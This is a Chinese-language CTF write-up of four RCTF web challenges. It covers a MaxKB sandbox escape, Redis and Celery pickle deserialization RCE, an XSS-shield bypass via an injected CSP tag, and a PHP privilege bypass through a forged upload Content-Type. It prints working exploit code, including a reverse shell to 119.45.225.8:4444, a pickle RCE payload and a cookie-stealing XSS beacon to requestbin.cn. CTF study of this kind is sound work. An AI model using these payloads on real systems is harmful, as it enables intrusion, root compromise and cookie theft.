RCTF

web

rootkb

Try to root my MaxKB.

1
2
>FROM 1panel/maxkb:v2.3.1
>COPY flag /root/flag

Credential is default: admin / MaxKB@123..

给了一个github的开源项目MaxKB,版本是2.3.1,把源代码下下来部署看看
发现可以在工具里面进行python代码执行,但是有沙箱,看源文件里面的dockerfile文件和tool_code.py文件


gcc -shared -fPIC -o ${MAXKB_SANDBOX_HOME}/sandbox.so /opt/maxkb-app/installer/sandbox.c

1
2
3
kwargs['env'] = {
'LD_PRELOAD': f'{self.sandbox_path}/sandbox.so',
}

是通过sandbox.so进行沙箱限制的,然后还用了LD_PRELOAD进行加载
然后测试发现利用python命令执行居然可以直接对sandbox.so进行操作

1
2
3
4
def runcmd():
with open("/opt/maxkb-app/sandbox/sandbox.so", "rb") as f:
data = f.read()
return data


接下来就可以替换sandbox.so文件,进行LD_PRELOAD劫持反弹shell了
vim 1.py

1
2
3
with open("./ls.so","rb") as f:
data=f.read()
print(data)

vim ls.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void payload() {
system("bash -c 'bash -i >& /dev/tcp/119.45.225.8/4444 0>&1'");
}

int strncmp(const char *__s1, const char *__s2, size_t __n) {
if (getenv("LD_PRELOAD") == NULL) {
return 0;
}
unsetenv("LD_PRELOAD");
payload();
}

gcc -shared -fPIC -o ls.so ls.c
python 1.py
得到ls.so文件的字节内容
然后在工具里面写入替换sandbox.so

1
2
3
4
5
def runcmd():
with open("/opt/maxkb-app/sandbox/sandbox.so", "wb") as f:
a=b"""....上面得到的字节内容...."""
f.write(a)
return 1

即可成功劫持LD_PRELOAD
然后由于沙箱已经奔替换,这里的python代码已经可以执行任意命令
所以我们直接调用ls触发反弹shell的payload即可

1
2
import os
os.popen("ls")

成功反弹shell,而且是root权限,读取flag即可


RCTF{trust_no_tool___dont_be_a_root_fool}

rootkb–

version–, CVE++++, is it easier now?

1
2
>FROM 1panel/maxkb:v2.3.0
>COPY flag /root/flag

HINT: The intended exploit should work on both RootKB(v2.3.1) and RootKB–(v2.3.0). Of course, you don’t have to follow my intended.

还是可以在工具里面进行python代码执行,
可以socket连接redis,密码是conf.py中默认的Password123@redis
回显键名,重点为TOKEN:
:TOKEN:eyJ1c2VybmFtZSI6ImFkbWluIiwiaWQiOiJmMGRkOGY3MS1lNGVlLTExZWUtOGM4NC1hOGExNTk1ODAxYWIiLCJlbWFpbCI6IiIsInR5cGUiOiJTWVNURU1fVVNFUiJ9:1vM0hw:RdJ3OQiKIK9rm9wjwGcykbxEV5s3UU9CLoZXrTnJC0o

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import socket
class RedisClient:
def __init__(self, host='localhost', port=6379):
self.host = host
self.port = port
self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

def connect(self):
self.socket.connect((self.host, self.port))

def send_command(self, command):
# Redis commands are terminated by CRLF (\\r\\n)
self.socket.sendall((command + "\r\n").encode('utf-8'))
return self.parse_response()

def parse_response(self):
response = self.socket.recv(4096).decode('utf-8')
return response

def close(self):
self.socket.close()

def exp():
try:
client = RedisClient()
client.connect()
client.send_command("auth Password123@redis")
# You can use commands like "keys *" to interact with Redis.
res = client.send_command("keys *")
client.close()
return res
except Exception as e:
return f"An error occurred: {e}"

result = exp

后面每替换一次键值都会新生成一个键


读取键值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import redis
import base64
def main():
try:
r = redis.Redis(
host='localhost',
port=6379,
password='Password123@redis',
decode_responses=False
)
r.ping()
except Exception as e:
return
try:
a=r.get(':TOKEN:eyJ1c2VybmFtZSI6ImFkbWluIiwiaWQiOiJmMGRkOGY3MS1lNGVlLTExZWUtOGM4NC1hOGExNTk1ODAxYWIiLCJlbWFpbCI6IiIsInR5cGUiOiJTWVNURU1fVVNFUiJ9:1vM2gH:CAUAfJhKg0RbeA4f0qjISuqezFTvnMSRIOcufwdoHCg')
return a
except Exception as e:
r.close()
result = main

回显如下
b'\x80\x04\x95\x15\x02\x00\x00\x00\x00\x00\x00\x8c\x15django.db.models.base\x94\x8c\x0emodel_unpickle\x94\x93\x94\x8c\x05users\x94\x8c\x04User\x94\x86\x94\x85\x94R\x94}\x94(\x8c\x06_state\x94h\x00\x8c\nModelState\x94\x93\x94)\x81\x94}\x94(\x8c\x06adding\x94\x89\x8c\x02db\x94\x8c\x07default\x94\x8c\x0cfields_cache\x94}\x94ub\x8c\x02id\x94\x8c\x04uuid\x94\x8c\x04UUID\x94\x93\x94)\x81\x94}\x94\x8c\x03int\x94\x8a\x11\xab\x01XY\xa1\xa8\x84\x8c\xee\x11\xee\xe4q\x8f\xdd\xf0\x00sb\x8c\x05email\x94\x8c\x00\x94\x8c\x05phone\x94h\x1b\x8c\tnick_name\x94\x8c\x0f\xe7\xb3\xbb\xe7\xbb\x9f\xe7\xae\xa1\xe7\x90\x86\xe5\x91\x98\x94\x8c\x08username\x94\x8c\x05admin\x94\x8c\x08password\x94\x8c d880e722c47a34d8e9fce789fc62389d\x94\x8c\x04role\x94\x8c\x05ADMIN\x94\x8c\x06source\x94\x8c\x05LOCAL\x94\x8c\tis_active\x94\x88\x8c\x08language\x94N\x8c\x0bcreate_time\x94\x8c\x08datetime\x94\x8c\x08datetime\x94\x93\x94C\n\x07\xe9\x0b\x14\x08:\x12\t\x85a\x94h*\x8c\x08timezone\x94\x93\x94h*\x8c\ttimedelta\x94\x93\x94K\x00K\x00K\x00\x87\x94R\x94\x85\x94R\x94\x86\x94R\x94\x8c\x0bupdate_time\x94h,C\n\x07\xe9\x0b\x14\x08:\x12\t\x85n\x94h5\x86\x94R\x94\x8c\x0f_django_version\x94\x8c\x055.2.7\x94ub.'
为pickle 序列化数据
查看Celery配置

发现其任务和结果的序列化器都配置为pickle
可以打pickle反序列化

构造恶意pickle → 写入Redis → Celery Worker读取 → pickle.loads()无限制反序列化 → 任意代码执行

生成payload

1
2
3
4
5
6
7
import pickle
import base64
class RCE:
def __reduce__(self):
return (exec,("__import__('os').system('cat /root/flag > /tmp/flag')",))
a=RCE()
print(base64.b64encode(pickle.dumps(a)))

写代码设置键值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import redis
import base64
def main():
try:
r = redis.Redis(
host='localhost',
port=6379,
password='Password123@redis',
decode_responses=False
)
r.ping()
except Exception as e:
return
try:
binary_data =base64.b64decode('gASVUQAAAAAAAACMCGJ1aWx0aW5zlIwEZXhlY5STlIw1X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2NhdCAvcm9vdC9mbGFnID4gL3RtcC9mbGFnJymUhZRSlC4=')
r.set(':TOKEN:eyJ1c2VybmFtZSI6ImFkbWluIiwiaWQiOiJmMGRkOGY3MS1lNGVlLTExZWUtOGM4NC1hOGExNTk1ODAxYWIiLCJlbWFpbCI6IiIsInR5cGUiOiJTWVNURU1fVVNFUiJ9:1vM2fT:wSd_GrPZ31I2yUz3nYu0cVcxappxOvRtnUvuPeJtlUE', binary_data)
except Exception as e:
return
r.close()
result = main

然后再随便访问一下触发pickle反序列化
然后即可读取flag

1
2
3
4
def exp():
res = open('/tmp/flag', 'r').read()
return res
result = exp

author

A blog packed with all kinds of WAFs and security protections — but is it really secure?
Notice:
The online environment will be reset at 00 and 30 minutes of every hour, including the database.

In the online environment’s bot container, the bot will access the blog via http://blog-app

很明显我们需要理由XSS获取bot的cookies以拿到flag,但是xss-shield.js过滤很严格
大体过滤如下

  1. 环境检测:首先,代码检测全局对象windowglobalthis,以确保在浏览器或Node.js环境中运行。
  2. 阻塞函数:定义了一个blocked函数,当被阻塞的API被调用时,会输出”blocked!”。
  3. 重写fetch:尝试重写window.fetch,使其在第一次调用后禁止再次调用。第一次调用后,fetchAllowed变为false,后续调用会触发blocked
  4. 重写innerHTML:对Element.prototype.innerHTML进行重写,设置一个getter返回空字符串,setter在第一次设置后禁止再次设置,并且在设置时使用DOMPurify对输入进行两次净化(注意:这里假设DOMPurify已定义,但代码中并未引入,可能会出错)。
  5. 阻塞常用全局函数:如alertconfirmpromptevalFunction、定时器、动画帧、Web Workers等。
  6. 阻塞网络相关API:如XMLHttpRequestWebSocketEventSource、WebRTC等。
  7. 阻塞DOM操作:包括document.writedocument.writelnDocumentNode原型上的多种方法(如appendChildinsertBefore等)。
  8. 阻塞事件处理:通过重写所有以on开头的事件处理器(如onclick)的setter和getter,使其无法设置并返回null。
  9. 阻塞存储和Cookie:重写localStoragesessionStorageindexedDBdocument.cookie,使其无法使用。
  10. 阻塞导航和历史记录:重写locationreplaceassignreload方法和historypushStatereplaceState
  11. 阻塞敏感设备API:如剪贴板、地理定位、凭证管理、电池状态、媒体设备、蓝牙、USB等。
  12. 阻塞支付请求PaymentRequest
  13. 阻塞DOM解析和序列化:如DOMParserXMLSerializer等。
  14. 阻塞Shadow DOM:重写attachShadowshadowRoot
  15. 阻塞iframe相关属性:如srcdoccontentWindowcontentDocument
  16. 阻塞样式表操作:重写CSSStyleSheet原型上的方法。
  17. 阻塞表单和锚点元素的行为:如表单提交、锚点点击。
  18. 阻塞脚本和对象元素的属性:如scriptsrctextobjectdata等。
  19. 阻塞自定义元素:重写customElements的API。
  20. 阻塞对象原型操作:重写Object.definePropertyObject.setPrototypeOfObject.create等,以及ProxyReflect
  21. 冻结内置原型:尝试冻结Object.prototypeFunction.prototypeArray.prototype以防止修改。

直接绕肯定不现实,注意到没有对CSP进行限制,如果我们可以控制写入CSP到页面中,利用形如下面的payload,我们即可指定脚本只能从指定的域名加载
<meta http-equiv="Content-Security-Policy" content="script-src https://www.google.com https://www.gstatic.com">
假如我们能构造如下payload,写入到页面中,使其不加载xss-shield.js只加载其他的js文件,即可达成绕过
<meta http-equiv="Content-Security-Policy" content="script-src <http://blog-app/assets/js/article.js>">
然后就是找地方写入这个payload,在header.php中有这样一段
<meta name="author" content=<?php echo $pageAuthor; ?>>
加上article.php中的下面这一段
$pageAuthor = htmlspecialchars($article['username']);

htmlspecialchars() 默认不编码单引号

我们可以利用注册时的username写入payload
'script-src-elem <http://blog-app/assets/js/article.js>' http-equiv='Content-Security-Policy'

在CSP Level 3中,指令有明确的优先级:

1
2
3
4
5
>script-src-attr (最高优先级,针对事件处理器)

>script-src-elem (针对脚本元素)

>script-src (通用后备,最低优先级)

然后⽤该账号登录发布的 article 不会有任何限制。使⽤ img onerror 外带:
<img src=x onerror="new Image().src='http://requestbin.cn:80/1kauuvv1?d='+encodeURIComponent(document.cookie);">
获得flag

photographer

Wells, who loves photography, built a photography website.
But it seems only the superadmin can get the flag.
I thought the highest permission was admin—so where does this superadmin come from?
Notice:
The online environment will be reset at 00 and 30 minutes of every hour, including the database.

首先分析代码,superadmin.php可以直接获取flag,但是需要满足Auth::type() < $user_types['admin']

1
2
3
4
5
if (Auth::check() && Auth::type() < $user_types['admin']) {
echo getenv('FLAG') ?: 'RCTF{test_flag}';
}else{
header('Location: /');
}

查找user_types,发现如下定义

1
2
3
4
5
'user_types' => [
'admin' => 0,
'auditor' => 1,
'user' => 2
],

可见admin的type为0,所以需要想要Auth::type()<0
接下来追踪Auth::type()的实现,发现如下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
public static function init() {
if (session_status() === PHP_SESSION_NONE) {
session_name(config('session.name'));
session_start();
}

if (isset($_SESSION['user_id'])) {
self::$user = User::findById($_SESSION['user_id']);
}
}
public static function type() {
return self::$user['type'];
}

可见Auth::type()返回的是self::$user的type,而self::$user由User::findById获取,继续追踪User::findById()

1
2
3
4
5
6
public static function findById($userId) {
return DB::table('user')
->leftJoin('photo', 'user.background_photo_id', '=', 'photo.id')
->where('user.id', '=', $userId)
->first();
}

可见User::findById()返回的是数据库中的用户信息,这里leftJoin将用户表与图片表连接,查询leftJoin定义

LEFT JOIN 关键字从左表(table1)返回所有的行,即使右表(table2)中没有匹配。如果右表中没有匹配,则结果为 NULL。

由此可见在构建返回的用户信息时,如果背景图片id为某一个图片id,则先读取的用户表,后读取的图片表
这里就有一个问题,如果存在同名列,后读取的图片表会覆盖先写入的用户表的对应列


而打开.db文件发现图片表和用户表中都有type列,所以我们可以利用图片表的type覆盖用户表的type为负值,从而实现绕过检查
进一步查找图片表的type是如何获取,在PhotoController.php中找到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
public function upload() {
if (!Auth::check()) {
json(['success' => false, 'message' => 'Not logged in'], 401);
}

if (!isset($_FILES['photos']) || empty($_FILES['photos']['name'][0])) {
json(['success' => false, 'message' => 'Please select photos']);
}

$files = $_FILES['photos'];
$uploadedPhotos = [];
$snowflake = new Snowflake();
$uploadPath = config('upload.path') . '/photos';

if (!is_dir($uploadPath)) {
mkdir($uploadPath, 0755, true);
}

$fileCount = count($files['name']);

for ($i = 0; $i < $fileCount; $i++) {
if ($files['error'][$i] !== UPLOAD_ERR_OK) {
continue;
}

$file = [
'name' => $files['name'][$i],
'type' => $files['type'][$i],
'tmp_name' => $files['tmp_name'][$i],
'error' => $files['error'][$i],
'size' => $files['size'][$i]
];

if (!isValidImage($file)) {
continue;
}

$ext = pathinfo($file['name'], PATHINFO_EXTENSION);
$photoId = $snowflake->nextId();
$savedFilename = $photoId . '.' . $ext;
$filePath = $uploadPath . '/' . $savedFilename;

if (!move_uploaded_file($file['tmp_name'], $filePath)) {
continue;
}

$exifData = extractExif($filePath);

$result = Photo::create([
'user_id' => Auth::id(),
'original_filename' => $file['name'],
'saved_filename' => $savedFilename,
'type' => $file['type'],
'size' => $file['size'],
'width' => $exifData['width'],
'height' => $exifData['height'],
'exif_make' => $exifData['make'],
'exif_model' => $exifData['model'],
'exif_exposure_time' => $exifData['exposure_time'],
'exif_f_number' => $exifData['f_number'],
'exif_iso' => $exifData['iso'],
'exif_focal_length' => $exifData['focal_length'],
'exif_date_taken' => $exifData['date_taken'],
'exif_artist' => $exifData['artist'],
'exif_copyright' => $exifData['copyright'],
'exif_software' => $exifData['software'],
'exif_orientation' => $exifData['orientation']
]);

if ($result['success']) {
$uploadedPhotos[] = [
'id' => $result['photo_id'],
'filename' => $savedFilename,
'original_filename' => $file['name'],
'url' => '/uploads/photos/' . $savedFilename
];
}
}

if (empty($uploadedPhotos)) {
json(['success' => false, 'message' => 'Photo upload failed']);
}

json(['success' => true, 'photos' => $uploadedPhotos]);
}

直接把 $_FILES['type'] 原样存进数据库,而 $_FILES['type'] 由请求中的 multipart/form-data 文件分段头的 Content-Type 决定,完全可控制
所以我们上传一个Content-Type为-1的图片,再将其设置为背景图片,即可绕过检查访问superadmin.php中的flag
上传包如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
POST /api/photos/upload HTTP/1.1
Host: 1.95.160.41:26000
Content-Length: 563502
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.63 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarye7ziI860J689VFI0
Accept: */*
Origin: http://1.95.160.41:26000
Referer: http://1.95.160.41:26000/compose
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHOTOGRAPHER_SESSION=636685e69761cc8f2cb9243fddd6eaa3
Connection: close

------WebKitFormBoundarye7ziI860J689VFI0
Content-Disposition: form-data; name="photos[]"; filename="1.png"
Content-Type: -1

photodata
------WebKitFormBoundarye7ziI860J689VFI0--

注意由于上传图片会被检测是否为图片,所以我们上传的图片内容必须是正常图片的内容,否则会上传失败

然后设置为背景图片

即可访问superadmin.php获取flag